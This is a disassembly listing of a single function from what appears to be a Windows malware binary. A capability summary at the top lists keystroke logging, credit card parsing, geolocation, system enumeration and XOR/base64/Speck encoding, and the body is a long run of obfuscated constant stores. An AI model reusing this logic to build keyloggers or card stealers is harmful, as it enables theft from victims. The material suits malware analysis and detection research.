Function at 0x1400ff2a0
Capabilities:
Authenticate hmac
Copy file
Encode data using base64
Encode data using xor
Encrypt data using speck
Get disk information
Get geographical location
Get keyboard layout
Get session user name
Identify system language via api
Log keystrokes via polling
Move file
Parse credit card information
Parse pe header
Query environment variable
Read file on windows
Set thread local storage value

Disassembly:
push rbp
mov eax, 0x1b120
call fcn.140100310
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1b0b0], rcx
mov qword [rbp + 0x1b0b8], rdx
mov qword [rbp + 0x1b0c0], r8
mov dword [rbp + 0x1b0c8], r9d
movabs rax, 0x5c909c71e73d8cb5
mov qword [rbp + 0x4fc0], rax
movabs rax, 0x289f4ee6f439704a
mov qword [rbp + 0x1af58], rax
mov byte [rbp + 0x4f9f], 0x62
movabs rax, 0x6a648629e50850dd
mov qword [rbp + 0x4f88], rax
mov word [rbp + 0x4f66], 0x4f8e
mov word [rbp + 0x1af56], 0xad
mov dword [rbp + 0x1af50], 0xe4546b1
mov byte [rbp + 0x1af4f], 0x6f
mov dword [rbp + 0x4f20], 0x3035db1d
mov word [rbp + 0x1af4c], 0x533
mov word [rbp + 0x1af4a], 0x59c
movabs rax, 0x1b65eba590420a4e
mov qword [rbp + 0x4e80], rax
movabs rax, 0xfff01b646ab4a7cb
mov qword [rbp + 0x4e58], rax
movabs rax, 0x1b4dde47309e1547
mov qword [rbp + 0x1af40], rax
mov word [rbp + 0x4e3c], 0x134
mov dword [rbp + 0x4da4], 0x27fa84f2
mov word [rbp + 0x1af3e], 0xc71
movabs rax, 0x8b154750e7fa8dee
mov qword [rbp + 0x1af30], rax
movabs rax, 0x42574a2c05b76b53
mov qword [rbp + 0x4d48], rax
mov byte [rbp + 0x4d3e], 0x42
mov byte [rbp + 0x4d31], 0x55
movabs rax, 0x8adabc7c566655c2
mov qword [rbp + 0x4d20], rax
mov word [rbp + 0x4d1e], 0x4332
mov byte [rbp + 0x4d0f], 0x23
mov dword [rbp + 0x4d08], 0x728dd0bb
mov byte [rbp + 0x4cf3], 0x70
mov dword [rbp + 0x4cec], 0x633710b4
movabs rax, 0x17298067936d9048
mov qword [rbp + 0x1af28], rax
mov dword [rbp + 0x1af24], 0x22b946eb
mov dword [rbp + 0x4c98], 0x71ef2f1d
mov byte [rbp + 0x4c8f], 0x60
mov byte [rbp + 0x1af23], 0x6f
mov byte [rbp + 0x1af22], 0x72
mov dword [rbp + 0x4c74], 0x6c18652b
mov byte [rbp + 0x4c47], 0x52
movabs rax, 0x9c1994239e2a3ff8
mov qword [rbp + 0x4c38], rax
mov word [rbp + 0x4c36], 0xc7a
mov byte [rbp + 0x4c00], 0x6e
movabs rax, 0x291330839409c233
mov qword [rbp + 0x4be8], rax
mov word [rbp + 0x1af20], 0xc56
mov byte [rbp + 0x1af1f], 0xc3
mov word [rbp + 0x4b9e], 0x165
movabs rax, 0x3b879f9104bdc0ec
mov qword [rbp + 0x4b88], rax
movabs rax, 0x64740a31f61dc73
mov qword [rbp + 0x4b70], rax
mov byte [rbp + 0x1af1e], 0x39
mov dword [rbp + 0x1af18], 0x89f489d9
mov word [rbp + 0x4b48], 0x2488
mov word [rbp + 0x4b46], 0x3a9a
mov dword [rbp + 0x4b30], 0x40d0a8d7
movabs rax, 0xf26775aea8f284d9
mov qword [rbp + 0x1af10], rax
mov word [rbp + 0x4b0e], 0xc1a
mov word [rbp + 0x1af0e], 0x331
mov word [rbp + 0x4af8], 0x4f7
movabs rax, 0x576d439d4c1bb004
mov qword [rbp + 0x4ad0], rax
movabs rax, 0x729b1550da576073
mov qword [rbp + 0x4ab0], rax
mov byte [rbp + 0x4a86], 0xa6
mov word [rbp + 0x1af0c], 0x5a6
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.1401007b0
mov byte [rbp + 0x4a21], 0xba
movabs rax, 0x668988d60c0a1ab
mov qword [rbp + 0x1af00], rax
mov byte [rbp + 0x1aeff], 0x22
movabs rax, 0x424e8f653490339b
mov qword [rbp + 0x1aef0], rax
mov byte [rbp + 0x49ec], 0x33
mov word [rbp + 0x49e8], 0x2bba
mov byte [rbp + 0x49e7], 0x4c
mov word [rbp + 0x49a6], 0x1215
mov dword [rbp + 0x1aeec], 0xf34fd51
movabs rax, 0x5683cd7becee996d
mov qword [rbp + 0x4970], rax
mov dword [rbp + 0x4958], 0x41668e8e
mov dword [rbp + 0x4954], 0xfb914d67
movabs rax, 0x3517e63c09f47030
mov qword [rbp + 0x1aee0], rax
movabs rax, 0x936e5bf9e4338a4c
mov qword [rbp + 0x4830], rax
mov byte [rbp + 0x481b], 0x11
movabs rax, 0x7b7c79cc77d9929f
mov qword [rbp + 0x1aed8], rax
movabs rax, 0x338f29f7122ae75e
mov qword [rbp + 0x1aed0], rax
mov dword [rbp + 0x4790], 0xfb502bf0
mov byte [rbp + 0x1aecf], 0xa
movabs rax, 0x6f06a1316732ec24
mov qword [rbp + 0x4788], rax
movabs rax, 0x40a5d8d085fd6a51
mov qword [rbp + 0x4768], rax
mov dword [rbp + 0x1aec8], 0x5b0833a9
movabs rax, 0x19eefd0372f1a1e1
mov qword [rbp + 0x1aec0], rax
mov byte [rbp + 0x1aebf], 0x19
mov byte [rbp + 0x1aebe], 0x70
mov byte [rbp + 0x46ff], 0xc5
mov word [rbp + 0x46ee], 0x6b1
mov word [rbp + 0x1aebc], 0x7511
mov dword [rbp + 0x1aeb8], 0x635083f
mov byte [rbp + 0x46c3], 0x45
movabs rax, 0xfd9ec2004342af7
mov qword [rbp + 0x46b0], rax
mov byte [rbp + 0x469a], 0x43
mov dword [rbp + 0x4688], 0x966eee85
mov word [rbp + 0x1aeb6], 0x3177
mov byte [rbp + 0x4663], 0xa
mov byte [rbp + 0x4657], 0x9f
mov dword [rbp + 0x4640], 0x43542997
mov word [rbp + 0x463e], 0xe4c
mov dword [rbp + 0x4630], 0x4b607e5b
mov word [rbp + 0x1aeb4], 0x437
movabs rax, 0x3a9827887e5e4480
mov qword [rbp + 0x1aea8], rax
mov word [rbp + 0x45d4], 0x467e
mov byte [rbp + 0x459a], 0x2b
mov byte [rbp + 0x4593], 0xb6
mov word [rbp + 0x454e], 0xc7b
movabs rax, 0xea5771a01dfaaf8d
mov qword [rbp + 0x4528], rax
mov dword [rbp + 0x4520], 0x2e8d771a
mov dword [rbp + 0x451c], 0xc6cb5076
mov dword [rbp + 0x1aea4], 0x59172dff
mov word [rbp + 0x1aea2], 0xc0f
mov byte [rbp + 0x44b1], 0xe
mov word [rbp + 0x1aea0], 0x1f64
mov word [rbp + 0x1ae9e], 0x9e2
mov word [rbp + 0x1ae9c], 0x6577
mov word [rbp + 0x1ae9a], 0x7a0d
mov word [rbp + 0x443e], 0x6d
mov word [rbp + 0x443a], 0xd01
mov dword [rbp + 0x4424], 0x6977cb57
mov dword [rbp + 0x1ae94], 0x50fe4a96
mov word [rbp + 0x43fe], 0xd6e
mov dword [rbp + 0x1ae90], 0x6d37f61
mov byte [rbp + 0x43cf], 0xac
movabs rax, 0x5739063e6742a641
mov qword [rbp + 0x43c0], rax
movabs rax, 0x7baa175e03fae287
mov qword [rbp + 0x43b8], rax
movabs rax, 0x6da2201078ad04ec
mov qword [rbp + 0x4378], rax
mov word [rbp + 0x1ae8e], 0x1ee
mov byte [rbp + 0x1ae8d], 0x57
mov byte [rbp + 0x4347], 0x9b
mov dword [rbp + 0x4324], 0xe8f405df
mov word [rbp + 0x42ec], 0x1478
movabs rax, 0x2dc44fe8b4ddf3f3
mov qword [rbp + 0x1ae80], rax
mov word [rbp + 0x1ae7e], 0x6a0e
mov word [rbp + 0x42de], 0x5ed
mov byte [rbp + 0x1ae7d], 0x89
movabs rax, 0xc18ae99be2fd8c55
mov qword [rbp + 0x1ae70], rax
mov byte [rbp + 0x1ae6f], 0x5f
mov word [rbp + 0x1ae6c], 0x338e
mov word [rbp + 0x421c], 0x65fa
mov word [rbp + 0x420e], 0x2d
mov word [rbp + 0x41d6], 0x25b
mov dword [rbp + 0x1ae68], 0x2a300bef
mov dword [rbp + 0x4160], 0x73f0e986
mov dword [rbp + 0x4148], 0x16f5f217
mov dword [rbp + 0x4144], 0x1506bf0b
movabs rax, 0x5e2e4defb9f5ad70
mov qword [rbp + 0x4110], rax
mov byte [rbp + 0x1ae67], 0xcd
mov byte [rbp + 0x40f7], 0x4a
mov word [rbp + 0x40de], 0x297
mov word [rbp + 0x40d6], 0xd20
mov byte [rbp + 0x1ae66], 0x51
mov dword [rbp + 0x4068], 0x4411c5f8
mov word [rbp + 0x4066], 0x1849
mov byte [rbp + 0x1ae65], 0x71
mov word [rbp + 0x4048], 0x3284
movabs rax, 0x701d397e26e3d13
mov qword [rbp + 0x4038], rax
mov word [rbp + 0x1ae62], 0x672a
mov dword [rbp + 0x4008], 0x33fbcac1
mov dword [rbp + 0x3fe0], 0xddeddaa4
mov dword [rbp + 0x1ae5c], 0x70851148
movabs rax, 0x5b336631779ca011
mov qword [rbp + 0x3fd0], rax
mov word [rbp + 0x3fc4], 0xe84
mov dword [rbp + 0x3f9c], 0x1b36a5f7
mov byte [rbp + 0x3f85], 0x1e
mov byte [rbp + 0x3f64], 0x44
mov word [rbp + 0x1ae5a], 0x521e
mov word [rbp + 0x3f1c], 0x5e52
mov byte [rbp + 0x3f13], 0xea
mov byte [rbp + 0x3f12], 0x56
mov dword [rbp + 0x3f04], 0x51fea2d
mov dword [rbp + 0x3eb0], 0x474c8c5a
movabs rax, 0x3a10009287deb0a6
mov qword [rbp + 0x3ea0], rax
mov dword [rbp + 0x1ae54], 0x40d970b0
mov byte [rbp + 0x1ae53], 0x4d
mov word [rbp + 0x3e7c], 0x424
mov byte [rbp + 0x3e77], 0x70
mov byte [rbp + 0x1ae52], 0x45
movabs rax, 0x4dce616221e356e5
mov qword [rbp + 0x1ae48], rax
mov word [rbp + 0x3e52], 0x6df
mov dword [rbp + 0x3e40], 0x33366638
mov byte [rbp + 0x1ae47], 0x2e
mov word [rbp + 0x3e06], 0xa9
mov word [rbp + 0x3e04], 0x77c7
mov word [rbp + 0x1ae44], 0x7fb
mov dword [rbp + 0x1ae40], 0xc0adea23
mov word [rbp + 0x3db2], 0xe11
movabs rax, 0x6114038f96185462
mov qword [rbp + 0x3da8], rax
mov dword [rbp + 0x1ae3c], 0xb5710662
mov dword [rbp + 0x3d2c], 0x6aa8e782
movabs rax, 0x22ad96d1d1ca0dce
mov qword [rbp + 0x3d18], rax
mov byte [rbp + 0x3d16], 0x4d
mov byte [rbp + 0x1ae3b], 0x40
mov byte [rbp + 0x1ae3a], 0x5c
mov word [rbp + 0x3ade], 0x5e9d
mov byte [rbp + 0x1ae39], 0x3d
mov word [rbp + 0x3ab6], 0x7a8
movabs rax, 0x1e7de16f5c4c9096
mov qword [rbp + 0x3a98], rax
movabs rax, 0x2075ceb786f493ce
mov qword [rbp + 0x3a88], rax
mov byte [rbp + 0x1ae38], 0x26
mov word [rbp + 0x1ae36], 0x1a6e
mov dword [rbp + 0x3a28], 0x11107e5
mov byte [rbp + 0x3a05], 0xd
mov dword [rbp + 0x1ae30], 0xd43b68de
mov word [rbp + 0x39fe], 0x2e0
mov dword [rbp + 0x39c8], 0x201436af
mov byte [rbp + 0x1ae2f], 0x4d
movabs rax, 0x334cc9a24bcd6f21
mov qword [rbp + 0x1ae20], rax
movabs rax, 0x5fb246d9c91dbd14
mov qword [rbp + 0x1ae18], rax
mov word [rbp + 0x1ae16], 0x6858
mov dword [rbp + 0x3904], 0xca5fb5b9
mov dword [rbp + 0x38e0], 0x679b7906
mov word [rbp + 0x3896], 0xb69
mov byte [rbp + 0x387f], 0x96
mov dword [rbp + 0x3878], 0x839062
movabs rax, 0x6236bf07cab8ed44
mov qword [rbp + 0x3868], rax
mov dword [rbp + 0x3864], 0x42022b19
mov byte [rbp + 0x385b], 0xe
mov byte [rbp + 0x383e], 0x66
mov byte [rbp + 0x1ae15], 0x28
mov dword [rbp + 0x3818], 0x21a2abbf
mov byte [rbp + 0x3803], 0x7e
mov dword [rbp + 0x37f4], 0xbc6187ea
movabs rax, 0x95def0bd3979e2b5
mov qword [rbp + 0x37b0], rax
movabs rax, 0x2205e2f6b9127513
mov qword [rbp + 0x37a8], rax
movabs rax, 0x167dee7bac81312e
mov qword [rbp + 0x1ae08], rax
mov byte [rbp + 0x379b], 0x5a
mov word [rbp + 0x3776], 0x2df
movabs rax, 0x508ca1801652487b
mov qword [rbp + 0x3750], rax
mov byte [rbp + 0x1ae07], 0x40
mov byte [rbp + 0x372f], 0x2f
movabs rax, 0x64dafad495a89033
mov qword [rbp + 0x3720], rax
movabs rax, 0x59c6acfcf8746190
mov qword [rbp + 0x36a8], rax
movabs rax, 0x1ac3a4d1fc3a46c4
mov qword [rbp + 0x1adf8], rax
mov word [rbp + 0x1adf6], 0x2a80
mov dword [rbp + 0x3658], 0x4e876beb
mov dword [rbp + 0x1adf0], 0x313ccf7f
movabs rax, 0x5c4fb43601655921
mov qword [rbp + 0x1ade8], rax
mov word [rbp + 0x363e], 0xb69
mov word [rbp + 0x363c], 0xf11
mov word [rbp + 0x3624], 0x3efc
mov byte [rbp + 0x360f], 0x48
mov byte [rbp + 0x3503], 0x5a
mov dword [rbp + 0x34d8], 0x5c42147d
mov word [rbp + 0x34c2], 0x411
mov dword [rbp + 0x34b8], 0x26b1b648
movabs rax, 0x25d0e47da185cdef
mov qword [rbp + 0x34a8], rax
mov dword [rbp + 0x1ade4], 0x4846d70d
mov byte [rbp + 0x346e], 0xee
mov dword [rbp + 0x345c], 0x3aa6a3b
mov byte [rbp + 0x345b], 0x3f
movabs rax, 0xd5ca0cbcba104bb8
mov qword [rbp + 0x1add8], rax
mov byte [rbp + 0x3451], 0x3c
mov dword [rbp + 0x3434], 0x727c0d76
mov byte [rbp + 0x1add7], 0x37
movabs rax, 0x3e854dfd7440b700
mov qword [rbp + 0x3400], rax
mov word [rbp + 0x33f6], 0x988
mov byte [rbp + 0x33af], 0x3b
movabs rax, 0x19070502123430ba
mov qword [rbp + 0x3390], rax
movabs rax, 0x346a4cff00e6d84
mov qword [rbp + 0x3380], rax
mov word [rbp + 0x1add4], 0xaf4
mov byte [rbp + 0x337f], 0x66
mov dword [rbp + 0x1add0], 0x5de09738
mov byte [rbp + 0x334b], 6
mov word [rbp + 0x3346], 0x4ecb
movabs rax, 0x7ff467698a1bde71
mov qword [rbp + 0x3338], rax
mov dword [rbp + 0x32ec], 0xfa5200c3
mov byte [rbp + 0x32db], 0xb
mov word [rbp + 0x32d8], 0x60b
mov byte [rbp + 0x32d7], 0x69
mov dword [rbp + 0x2fd0], 0xd21cbbd8
mov dword [rbp + 0x1adcc], 0x4f78413
mov byte [rbp + 0x2f9f], 0x62
movabs rax, 0x3db55714977aeb97
mov qword [rbp + 0x2f90], rax
mov dword [rbp + 0x2f58], 0xd225eb52
mov byte [rbp + 0x2f37], 0x77
mov dword [rbp + 0x1adc8], 0x4f5cfa9d
mov dword [rbp + 0x1adc4], 0x43e446b4
mov word [rbp + 0x2edc], 0x277
movabs rax, 0x922a7daa2684306c
mov qword [rbp + 0x2ec0], rax
mov byte [rbp + 0x2eab], 0x94
movabs rax, 0x6c68a41e03dd3229
mov qword [rbp + 0x2e90], rax
mov dword [rbp + 0x2e5c], 0x97ae1235
mov word [rbp + 0x2e42], 0x624
mov word [rbp + 0x1adc2], 0xb3
mov byte [rbp + 0x1adc1], 0x16
mov dword [rbp + 0x2e14], 0x6c7960d3
mov dword [rbp + 0x2e10], 0x42664590
mov word [rbp + 0x2e0e], 0x7191
movabs rax, 0x6620386d0a25bd80
mov qword [rbp + 0x1adb8], rax
mov dword [rbp + 0x2ddc], 0xf7357c3d
mov byte [rbp + 0x2dd9], 0xbe
mov word [rbp + 0x2dae], 0x1e51
movabs rax, 0x408e3a836977ee7e
mov qword [rbp + 0x1adb0], rax
movabs rax, 0x305242425c7d04a1
mov qword [rbp + 0x2d40], rax
mov word [rbp + 0x1adae], 0x73e9
movabs rax, 0x40b1ad3cf6b7b021
mov qword [rbp + 0x2d18], rax
movabs rax, 0x43c3b57ed2f6ddfa
mov qword [rbp + 0x1ada0], rax
mov word [rbp + 0x2c96], 0xc19
mov dword [rbp + 0x2c64], 0xc06c2f9c
movabs rax, 0x7ab5547fd5ed4230
mov qword [rbp + 0x2c58], rax
movabs rax, 0x94e957a800d4301f
mov qword [rbp + 0x1ad98], rax
mov word [rbp + 0x1ad96], 0x764e
mov byte [rbp + 0x1ad95], 0x35
mov byte [rbp + 0x1ad94], 0x3b
mov dword [rbp + 0x1ad90], 0x65d96a63
mov byte [rbp + 0x1ad8f], 8
mov byte [rbp + 0x2bbf], 7
movabs rax, 0xa3d3de40c713b6c0
mov qword [rbp + 0x2b90], rax
mov dword [rbp + 0x2b74], 0x35290eaa
mov word [rbp + 0x1ad8c], 0x449
mov word [rbp + 0x2b58], 0xc09
movabs rax, 0x32e661b64bc11027
mov qword [rbp + 0x2b10], rax
mov word [rbp + 0x2b0e], 0x63c3
mov byte [rbp + 0x1ad8b], 0x79
mov dword [rbp + 0x2ad8], 0x2e160e2e
mov dword [rbp + 0x2a70], 0x68e39733
mov byte [rbp + 0x2a5f], 0xd8
movabs rax, 0x47838cc15fab6319
mov qword [rbp + 0x2a50], rax
mov dword [rbp + 0x2a48], 0x2aa99f94
mov word [rbp + 0x2a1c], 0xddc
mov word [rbp + 0x2a0c], 0xc61
mov byte [rbp + 0x2a0b], 0xd1
mov word [rbp + 0x2a06], 0xcfb
movabs rax, 0xb8429b3f1b994590
mov qword [rbp + 0x1ad80], rax
mov byte [rbp + 0x1ad7f], 0x29
movabs rax, 0xdd3c130b72e16e3
mov qword [rbp + 0x1ad70], rax
mov byte [rbp + 0x1ad6f], 0x56
movabs rax, 0xcac8b71dbe0a95cc
mov qword [rbp + 0x2970], rax
mov word [rbp + 0x1ad6c], 0xe51
mov dword [rbp + 0x2914], 0x6717997b
movabs rax, 0xeea70ca8dba5fba
mov qword [rbp + 0x28f0], rax
movabs rax, 0x8c3ee167d1547a07
mov qword [rbp + 0x1ad60], rax
mov word [rbp + 0x28d0], 0xa8e
mov byte [rbp + 0x1ad5f], 0x86
mov dword [rbp + 0x28a4], 0xd5e4b898
mov dword [rbp + 0x1ad58], 0x52a31d3e
movabs rax, 0x13fe3a11191d584e
mov qword [rbp + 0x1ad50], rax
movabs rax, 0x1b4d1bdf3999004
mov qword [rbp + 0x1ad48], rax
mov byte [rbp + 0x1ad47], 0xf2
mov dword [rbp + 0x27b4], 0x1f7caed5
mov byte [rbp + 0x2797], 0x27
mov byte [rbp + 0x278b], 0x7c
mov dword [rbp + 0x2784], 0x6932d815
mov dword [rbp + 0x1ad40], 0x5b44a4a2
mov word [rbp + 0x1ad3e], 0x3cf8
mov word [rbp + 0x1ad3c], 0xbec
mov byte [rbp + 0x26db], 0x34
mov dword [rbp + 0x26cc], 0x569e4d4e
mov word [rbp + 0x26c6], 0x3a6
lea rax, [rbp + 0x26a0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.140100760
mov word [rbp + 0x2696], 0x36ff
movabs rax, 0x9bee0d9c379efb7
mov qword [rbp + 0x1ad30], rax
movabs rax, 0x7c72c17be72f32eb
mov qword [rbp + 0x2678], rax
mov dword [rbp + 0x1ad2c], 0xf664be9e
mov byte [rbp + 0x266e], 0x65
mov word [rbp + 0x266c], 0xa1
mov dword [rbp + 0x2664], 0xef1fcc0f
mov dword [rbp + 0x1ad28], 0x56bc25bc
mov byte [rbp + 0x2625], 0x4f
mov word [rbp + 0x260e], 0x4332
mov word [rbp + 0x260c], 0xfcf
mov byte [rbp + 0x1ad27], 0x4c
mov dword [rbp + 0x1ad20], 0x508dc6a3
movabs rax, 0x3d427993832f3008
mov qword [rbp + 0x1ad18], rax
movabs rax, 0x2afaf6e549c5d410
mov qword [rbp + 0x1ad10], rax
mov byte [rbp + 0x2505], 0x3d
mov dword [rbp + 0x1ad0c], 0xd87f569b
mov dword [rbp + 0x24ec], 0x4965fbb2
mov dword [rbp + 0x1ad08], 0x64ff1136
mov byte [rbp + 0x1ad07], 0x2f
movabs rax, 0xd9469db8c2ddf8c3
mov qword [rbp + 0x1acf8], rax
mov dword [rbp + 0x2488], 0x9a4ec4c1
movabs rax, 0x7238eed32a7cbb4c
mov qword [rbp + 0x2478], rax
mov dword [rbp + 0x2474], 0xb7acd31e
mov byte [rbp + 0x1acf7], 0x68
mov byte [rbp + 0x245f], 0x73
mov byte [rbp + 0x244b], 0x1b
mov word [rbp + 0x2416], 0x7404
movabs rax, 0x8edfc60129cd89b4
mov qword [rbp + 0x23f8], rax
mov dword [rbp + 0x1acf0], 0x38fef4ff
mov word [rbp + 0x1acee], 0x389
movabs rax, 0x4ed67f4b7065ae8a
mov qword [rbp + 0x2340], rax
mov byte [rbp + 0x1aced], 0x46
mov word [rbp + 0x2310], 0xdc
mov word [rbp + 0x230a], 0x574
mov word [rbp + 0x2306], 0x264
movabs rax, 0x6d65c4720ba15f85
mov qword [rbp + 0x1ace0], rax
mov byte [rbp + 0x22b3], 0x76
movabs rax, 0x51e139eadc4a63a8
mov qword [rbp + 0x2278], rax
mov word [rbp + 0x2272], 0x7a4e
movabs rax, 0x48ca4399fa80adf8
mov qword [rbp + 0x1acd8], rax
mov dword [rbp + 0x225c], 0x9dc5bb9e
mov dword [rbp + 0x2228], 0x5089a799
mov word [rbp + 0x2202], 0x1dfc
mov dword [rbp + 0x2168], 0x73844d32
mov word [rbp + 0x1acd6], 0x4668
mov dword [rbp + 0x2158], 0x84cc5a45
mov word [rbp + 0x214e], 0x7d8
mov word [rbp + 0x214a], 0x11f6
mov dword [rbp + 0x1acd0], 0x18998a71
mov dword [rbp + 0x213c], 0x29a4672e
movabs rax, 0x31d476cc7eb65411
mov qword [rbp + 0x2128], rax
mov word [rbp + 0x1acce], 0xb5c
mov word [rbp + 0x20b4], 0xbe9
mov word [rbp + 0x1accc], 0x2547
mov dword [rbp + 0x2074], 0x68b62bb
mov dword [rbp + 0x1acc8], 0xb2e2b6b3
mov byte [rbp + 0x1acc7], 0xb2
mov byte [rbp + 0x1acc6], 0xb2
mov dword [rbp + 0x1acc0], 0x569432d
movabs rax, 0x5a72e09a03e403f9
mov qword [rbp + 0x1acb8], rax
mov dword [rbp + 0x1acb4], 0x4cb7269e
mov word [rbp + 0x1acb2], 0x61b
movabs rax, 0x27b31b548f2e1807
mov qword [rbp + 0x1f98], rax
mov word [rbp + 0x1acb0], 0x60a0
mov dword [rbp + 0x1acac], 0xb8d3f23b
movabs rax, 0x6a6ec7e1b3581b00
mov qword [rbp + 0x1aca0], rax
mov word [rbp + 0x1ac9e], 0x55cd
mov dword [rbp + 0x1ac98], 0xd5a87d26
movabs rax, 0x5e46cd8ad02bccb
mov qword [rbp + 0x1ac90], rax
mov dword [rbp + 0x1e94], 0x7714156d
mov byte [rbp + 0x1ac8f], 0x21
mov byte [rbp + 0x1ac8e], 0
mov word [rbp + 0x1ac8c], 0x3983
movabs rax, 0x348620d44a8eb313
mov qword [rbp + 0x1e38], rax
mov byte [rbp + 0x1ac8b], 0x3b
mov dword [rbp + 0x1ac84], 0x10b2cef3
mov byte [rbp + 0x1ddb], 0x30
mov dword [rbp + 0x1dcc], 0x5fe69945
mov dword [rbp + 0x1dc8], 0x52d4652b
mov dword [rbp + 0x1dc0], 0x76a3a239
mov dword [rbp + 0x1d7c], 0x35e8a0ac
mov word [rbp + 0x1d74], 0x73c5
movabs rax, 0x5b04547a06ff62dc
mov qword [rbp + 0x1d68], rax
mov dword [rbp + 0x1ac80], 0x27b95e90
movabs rax, 0x3425da6f4c57cb22
mov qword [rbp + 0x1d00], rax
mov byte [rbp + 0x1cfb], 0xd0
mov word [rbp + 0x1cc6], 0xf66
movabs rax, 0x7ba89803c9f8188a
mov qword [rbp + 0x1ca0], rax
mov dword [rbp + 0x1c9c], 0x5aa7a91f
mov dword [rbp + 0x1ac7c], 0x461fdbba
mov word [rbp + 0x1ac7a], 0x206f
mov word [rbp + 0x1c56], 0x988
mov word [rbp + 0x1c46], 0x636e
mov dword [rbp + 0x1c40], 0x33886112
movabs rax, 0x116770f96294cdff
mov qword [rbp + 0x1ac70], rax
mov byte [rbp + 0x1c24], 0x26
mov byte [rbp + 0x1c1d], 0x55
mov word [rbp + 0x1c1a], 0x28b0
mov dword [rbp + 0x1c14], 0x550c9d1c
movabs rax, 0xebfc133aaf92465
mov qword [rbp + 0x1c08], rax
mov dword [rbp + 0x1ac6c], 0xb6eb8a39
mov word [rbp + 0x1bec], 0xbc3
movabs rax, 0xe7500c3b06b83cc7
mov qword [rbp + 0x1bd0], rax
movabs rax, 0xd8c19ca811c3f292
mov qword [rbp + 0x1ac60], rax
mov word [rbp + 0x1b9a], 0x66d5
mov word [rbp + 0x1ac5e], 0x2857
mov byte [rbp + 0x1b89], 0x82
mov byte [rbp + 0x1b85], 1
mov dword [rbp + 0x1ac58], 0x8b7ed3b7
mov byte [rbp + 0x1b84], 0x41
movabs rax, 0x7361aac459f8c05d
mov qword [rbp + 0x1b68], rax
mov byte [rbp + 0x1ac57], 0x7a
mov word [rbp + 0x1ac54], 0x3d8c
mov byte [rbp + 0x1af7], 0xcf
mov byte [rbp + 0x1ac53], 0x3f
mov dword [rbp + 0x1af0], 0x6bacc8ce
mov word [rbp + 0x1ae0], 0x9e1
movabs rax, 0xb57ec4fad845a52
mov qword [rbp + 0x1ac48], rax
mov byte [rbp + 0x1ac47], 0xed
mov byte [rbp + 0x1aaf], 0x1e
mov byte [rbp + 0x1aae], 0x39
movabs rax, 0x58b68730ba073c6a
mov qword [rbp + 0x1a98], rax
mov word [rbp + 0x1a8c], 0x417
mov dword [rbp + 0x1a80], 0x8b82f65d
mov byte [rbp + 0x1a7f], 0x2f
mov word [rbp + 0x1a7c], 0xf6d
mov byte [rbp + 0x1a73], 0x6a
mov word [rbp + 0x1ac44], 0x38f
mov dword [rbp + 0x1a3c], 0x1213cb69
mov word [rbp + 0x19f4], 0x1e7
mov dword [rbp + 0x1ac40], 0x6d684565
mov dword [rbp + 0x19bc], 0x63c31239
movabs rax, 0x575bf6d9d69ee92b
mov qword [rbp + 0x19b0], rax
mov dword [rbp + 0x1ac3c], 0x147f093e
movabs rax, 0x6defe5a88d9831e5
mov qword [rbp + 0x1998], rax
movabs rax, 0x82662e1da00eee67
mov qword [rbp + 0x1968], rax
movabs rax, 0x7f57326be003b8d0
mov qword [rbp + 0x1948], rax
mov byte [rbp + 0x1947], 0x63
movabs rax, 0x437c0b44f1b90fa4
mov qword [rbp + 0x1ac30], rax
mov byte [rbp + 0x1926], 0xe0
mov word [rbp + 0x1916], 0x605
mov word [rbp + 0x190e], 0x552
mov dword [rbp + 0x18f0], 0xd8332df7
mov byte [rbp + 0x1ac2f], 0xd
mov byte [rbp + 0x1ac2e], 0x5b
movabs rax, 0x6de843710fb5a4b1
mov qword [rbp + 0x1ac20], rax
mov byte [rbp + 0x1882], 0x83
mov byte [rbp + 0x186f], 0x4a
mov word [rbp + 0x1ac1e], 0x7d21
movabs rax, 0x7f66fc0297129a61
mov qword [rbp + 0x1ac10], rax
movabs rax, 0x3bf8720c7d87693e
mov qword [rbp + 0x1828], rax
mov word [rbp + 0x17fc], 0x557e
mov word [rbp + 0x1ac0e], 0x65a
mov byte [rbp + 0x17cf], 0xc
mov dword [rbp + 0x1ac08], 0xc4f90f4c
movabs rax, 0x2be3ab133529fcc3
mov qword [rbp + 0x17c0], rax
mov dword [rbp + 0x1ac04], 0x6e601b91
mov dword [rbp + 0x1700], 0x7ad9f376
movabs rax, 0x2aeec8850c7c66d0
mov qword [rbp + 0x16f8], rax
mov dword [rbp + 0x1ac00], 0x700c0967
mov dword [rbp + 0x1abfc], 0x2c7d5607
mov dword [rbp + 0x1680], 0x78b7e843
mov dword [rbp + 0x1668], 0x458af07a
mov dword [rbp + 0x1660], 0x1d2849d7
mov byte [rbp + 0x165b], 0x66
mov byte [rbp + 0x1abfb], 0x22
movabs rax, 0xcfc768f171bb00e8
mov qword [rbp + 0x1650], rax
movabs rax, 0xf81651dea3f74f73
mov qword [rbp + 0x1628], rax
mov dword [rbp + 0x15e8], 0xb5ffa009
mov word [rbp + 0x15da], 0x19a
movabs rax, 0xb81f10bda20eb1f6
mov qword [rbp + 0x1abf0], rax
movabs rax, 0x378cc8c395cdf672
mov qword [rbp + 0x1abe8], rax
mov byte [rbp + 0x15af], 0x1a
mov dword [rbp + 0x1abe4], 0x1ab9e4f3
mov byte [rbp + 0x159f], 0xcf
mov word [rbp + 0x1abe2], 0x14f
mov byte [rbp + 0x1abe1], 8
mov word [rbp + 0x1abde], 0x19ae
mov byte [rbp + 0x153b], 0x44
movabs rax, 0x8697ed4c6395e0e3
mov qword [rbp + 0x1abd0], rax
mov word [rbp + 0x14d0], 0x194
movabs rax, 0x33c9a47752e63fa7
mov qword [rbp + 0x14c8], rax
mov word [rbp + 0x1abce], 0x19fd
mov byte [rbp + 0x149f], 6
mov byte [rbp + 0x149b], 0x4f
mov dword [rbp + 0x1474], 0x65c328f1
mov byte [rbp + 0x1abcd], 0x52
mov byte [rbp + 0x145f], 0x47
movabs rax, 0x66b7a8c4a4295be3
mov qword [rbp + 0x1abc0], rax
movabs rax, 0x98224ed1d3884223
mov qword [rbp + 0x1450], rax
movabs rax, 0xe53de867ec5456d6
mov qword [rbp + 0x1abb8], rax
movabs rax, 0x1404601260a43903
mov qword [rbp + 0x1410], rax
mov dword [rbp + 0x1abb4], 0x9de8911
mov word [rbp + 0x13fe], 0xe97
mov dword [rbp + 0x1abb0], 0x7a53b362
movabs rax, 0x80a0eecb24e1ecfd
mov qword [rbp + 0x1aba8], rax
